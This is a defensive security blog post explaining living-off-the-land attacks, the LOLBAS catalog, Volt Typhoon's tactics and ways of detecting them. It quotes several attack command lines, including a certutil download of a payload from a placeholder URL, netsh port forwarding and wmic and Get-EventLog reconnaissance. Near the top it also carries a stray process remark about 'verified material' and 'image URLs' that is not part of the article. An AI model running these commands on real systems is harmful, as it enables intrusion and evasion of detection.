Skip to content
Security Notes

Living off the land: detecting legitimate binaries behaving badly

By Elias Lankinen10 min read

I have strong, verified material and four confirmed image URLs. Writing the post now.

The intruder who never brought a weapon

In late 2023, investigators sifting through the network of a U.S. critical infrastructure operator found something unsettling: signs that intruders had been quietly present for as long as five years, and they had never installed a single piece of malware. No trojan, no custom backdoor, no strange executable for antivirus to catch. The attackers had done everything with tools that were already there. They ran wmic and ntdsutil to steal password databases, netsh to reroute traffic, and PowerShell to comb through event logs. Every command came from a program Microsoft ships with Windows and signs with its own certificate. As the U.S. Cybersecurity and Infrastructure Security Agency (CISA) put it, "conventional indicators of compromise associated with the malicious activity are generally lacking". There was almost nothing to detect. This is "living off the land," and it has quietly become one of the hardest problems in defensive security. The idea is deceptively simple: why smuggle a burglary kit past the guards when the house is already full of tools?

Source: Wikimedia Commons
Source: Wikimedia Commons

What "living off the land" actually means

The phrase is borrowed from military and survivalist language, where it means feeding yourself from the terrain instead of carrying supplies. In security it refers to attackers who accomplish their goals using software that already exists on the target machine, rather than bringing their own. The tools they abuse are called LOLBins, short for "living-off-the-land binaries." A LOLBin is a legitimate, vendor-signed program, native to the operating system or downloadable from the vendor, that has some extra capability an attacker can bend to a malicious purpose. Related terms cover scripts (LOLScripts) and code libraries (LOLLibs). The vocabulary has a surprisingly well-documented origin. The phrase "living off the land" was introduced by researchers Christopher Campbell and Matt Graeber at the DerbyCon 3 security conference in 2013. The snappier term "LOLBins" came later, out of a Twitter argument about what to call these files; a researcher named Philip Goh proposed it, and according to the LOLBAS Project's own history, an informal poll settled it with 69 percent approval. Jimmy Bayne added "LOLScripts" to the lexicon shortly after. That LOLBAS Project, maintained on a volunteer basis by Oddvar Moe and a small team, is now the field's canonical catalog. Its inclusion criteria are strict and revealing. To qualify, a file must be Microsoft-signed, must have "unexpected" functionality beyond its intended use, and must offer something "useful to an APT or red team," where APT means advanced persistent threat, the term of art for well-resourced, patient attackers like nation-state groups. The catalog's tags for that useful functionality read like a burglar's wishlist: code execution, file download, credential theft, dumping the memory of running processes, bypassing user account controls, and manipulating logs.

The tools hiding in plain sight

The classic example is certutil.exe. Its official job is managing certificates, the cryptographic credentials that underpin secure connections. But certutil can also encode, decode, and download files, and that download capability is what attackers want. A single command line like certutil -urlcache -f [URL] payload.exe pulls a file straight off the internet. Security firm Huntress has documented certutil being invoked by an encoded PowerShell command to fetch and install a rogue remote-access tool. The genius, and the frustration, is that you cannot simply delete certutil or flag it as malware; it is a core Windows utility that legitimate administrators use every day. The list of abused binaries is long and familiar to any Windows user who has peeked into the system folder:

  • rundll32.exe runs functions inside Windows libraries, and attackers use it to launch malicious code without a recognizable program name.
  • regsvr32.exe registers system components but can be tricked into running remote scripts.
  • mshta.exe executes HTML applications, a handy way to run scripts disguised as web content.
  • msbuild.exe, Microsoft's software build tool, will happily compile and run attacker code from a project file.
  • wmic.exe and PowerShell provide sweeping control over the system through legitimate management interfaces. The scale of the problem is real. In its 2022 data, the managed-detection firm Red Canary found that 35 percent of all malicious and suspicious detections incorporated a LOLBin. Real malware families lean on these tools heavily: Qbot called out to DLLs in public user folders with randomized function names, SocGholish disguised malicious downloads as software updates, and IcedID hid the function it was calling behind an ordinal number to muddy the trail.
Source: Wikimedia Commons
Source: Wikimedia Commons

Why this defeats traditional defenses

To understand why living off the land is so effective, it helps to know how most malware detection historically worked: by signature. Antivirus software keeps a vast library of fingerprints of known-bad files, and it checks whatever runs against that library. Bring a novel piece of malware and, eventually, someone analyzes it, writes a signature, and the defense catches up. Living off the land breaks that model at the root. There is no bad file to fingerprint. certutil.exe is not malware; it is Microsoft's own signed binary, present and trusted on hundreds of millions of machines. An antivirus product cannot blocklist it without breaking Windows itself. The maliciousness lives not in the file but in how it is used, and behavior is far slipperier to pin down than a file hash. Newer defenses, particularly endpoint detection and response (EDR) systems, tried to close this gap by watching behavior instead of files: what process launched what, with which command line, spawning which children. This is genuine progress. But it collides with a fundamental obstacle. The same commands that attackers use are also run, constantly, by legitimate system administrators, software installers, and automated scripts. A domain administrator copying a database and an intruder stealing it can issue nearly identical commands. This is the crux of the whole problem, and it is why the misconception that "behavioral detection solved this" is wrong. Detecting a LOLBin is not really about spotting a rare event; it is about distinguishing malicious intent from an ocean of legitimate activity that looks the same. Academic researchers who study the problem are blunt about the consequence. A 2021 paper from Northeastern University and Microsoft researchers, presented at the RAID security conference, notes that heuristic and regular-expression approaches "usually result in a high number of false positives" precisely because sysadmins and developers use the same tools. Too many false alarms produce "alert fatigue," where analysts, buried under warnings, start missing the real thing.

The nation-state that made it a strategy

Living off the land is not only a tactic of opportunistic criminals. It has become the signature method of a Chinese state-sponsored group that Microsoft named Volt Typhoon, and the group's story shows why defenders are so worried. In May 2023, CISA, the NSA, and the FBI issued a joint advisory documenting Volt Typhoon's activity, and it read like a masterclass in the technique. The group enumerated drives with wmic path win32_logicaldisk get caption,filesystem,freespace,size,volumename, set up covert port forwarding with netsh interface portproxy add v4tov4, harvested login records with the PowerShell command Get-EventLog security -instanceid 4624, and mapped DNS with dnscmd . /enumzones. They deliberately avoided deploying tools that would trip alarms, took advantage of the fact that many organizations do not log these commands by default, and selectively wiped Windows event logs to erase their tracks.

Source: Wikimedia Commons
Source: Wikimedia Commons

The February 2024 follow-up advisory was more alarming still. The agencies assessed that Volt Typhoon was not stealing secrets for espionage in the usual sense, but pre-positioning inside the networks of communications, energy, transportation, and water systems, so that it could cause disruption "in the event of a major crisis or conflict with the United States." In one documented case, the group copied the NTDS.dit file, the database holding an organization's password hashes, from three domain controllers over a four-year period. The agencies reported evidence of the group maintaining access to some victim networks for at least five years. Volt Typhoon also solved a related problem living-off-the-land style: how to route its traffic without raising flags. Rather than connecting from suspicious foreign servers, it relied on a network of compromised small-office and home-office routers, many of them "end of life" models no longer receiving security patches. In January 2024, the U.S. Justice Department announced that the FBI had obtained a court order and remotely disabled this "KV Botnet," which had been used to disguise the origin of the group's activity. The botnet's link to Volt Typhoon is an assessment by researchers and officials rather than a courtroom-proven fact, and the group attempted to rebuild it within weeks, which is worth keeping in mind before treating the takedown as a clean victory.

How defenders fight back

If you cannot ban the tools and you cannot rely on file signatures, what is left? The answer is a combination of context, statistics, and constraint, none of them perfect.

Reading the context around a command

The most productive approach is to stop looking at binaries in isolation and start reading the story around them. Red Canary's detection guidance is instructive here. It is not rundll32 running that is suspicious; it is rundll32 running without a DLL reference, or from outside its normal System32 folder, or with an HTTP URL sitting in its command line, or spawning PowerShell as a child process. Any one of those is a departure from how the legitimate tool normally behaves. Similarly, certutil invoked with -urlcache or -decode on an ordinary workstation has, as one analysis put it, essentially no legitimate business reason and deserves to be treated as high-priority. This shifts detection from "is this file bad?" to "is this behavior anomalous for this tool, on this machine, in this context?" It is more powerful, but it depends on the organization actually collecting the data. Volt Typhoon exploited exactly this gap: on many systems, detailed command-line and script-block logging is simply not turned on, so there is no record to analyze in the first place.

Machine learning, and its limits

Because the volume of command-line activity in a large enterprise is enormous, researchers have turned to machine learning to spot the anomalies humans would miss. Some approaches treat command lines like sentences, using natural-language-processing techniques to convert them into numerical vectors a model can classify. The Northeastern and Microsoft team took a different tack, building an "active learning" system that intelligently picks the most informative commands for a human analyst to label, rather than demanding that someone label millions by hand. Their system reached an average F1 score of 0.96, a strong balance of precision and recall, and converged in fewer than 30 rounds of labeling. Those are encouraging numbers, but they come with a caveat the researchers themselves stress: the field is short on large, well-labeled public datasets, and models trained without them tend to drown analysts in false positives. Machine learning narrows the haystack; it does not reliably hand you the needle.

Taking the tools away

The bluntest defense is to remove the capability entirely. Microsoft and others publish "recommended block rules" for binaries that most environments never legitimately need, and application-control frameworks can prevent, say, mshta.exe from running at all on machines where it has no purpose. The tradeoff is real: every blocked tool is one an administrator or a piece of legitimate software might have relied on, and overzealous blocking breaks things. Reducing the attack surface is genuine progress, but it is a negotiation with your own operations team, not a switch you flip.

What to watch next

The uncomfortable truth is that living off the land works because it exploits a design feature, not a bug. Operating systems ship with powerful, flexible, trusted tools because administrators need them. As long as that is true, attackers will keep borrowing them, and the defender's job will remain the genuinely hard one of separating malice from the ordinary hum of legitimate work. There is an intriguing wrinkle in the most recent data. Red Canary reported that in its 2025 findings, for the first time in seven years of collecting the data, the single most common technique its analysts detected was not a living-off-the-land technique. The action has partly moved: to stolen identities and cloud accounts, to "ClickFix" tricks that con users into pasting malicious commands themselves, and to the abuse of legitimate remote-management software. That last one is telling. It is the same logic as a LOLBin, just aimed a layer higher: instead of abusing a binary that ships with Windows, attackers abuse a trusted commercial tool the IT department installed on purpose. That is the pattern worth watching. "Living off the land" was never really about certutil or rundll32 specifically. It is about the enduring advantage of hiding inside the trusted and the ordinary, and every new layer of software an organization comes to depend on becomes fresh land to live off. The tools will change. The strategy of turning a target's own trust against it will not.

Sources

  1. CISA, NSA, FBI. "PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure" (AA24-038A), 2024.
  2. CISA, NSA, FBI. "People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection" (AA23-144A), 2023.
  3. LOLBAS Project. "Living Off The Land Binaries, Scripts and Libraries — README", 2024.
  4. Red Canary. "Misbehaving binaries: How to detect LOLBins abuse in the wild", 2023.
  5. Huntress. "Detecting Malicious Use of LOLBins, Pt. II", 2024.
  6. Talha Ongun, Jack W. Stokes, Jonathan Bar Or, et al. "Living-Off-The-Land Command Detection Using Active Learning", RAID, 2021.
  7. U.S. Department of Justice. "U.S. Government Disrupts Botnet People's Republic of China Used to Conceal Hacking of Critical Infrastructure", 2024.
  8. BleepingComputer. "Volt Typhoon rebuilds malware botnet following FBI disruption", 2024.
  9. Red Canary. "Identity attacks and infostealers dominate the 2025 Threat Detection Report", 2025.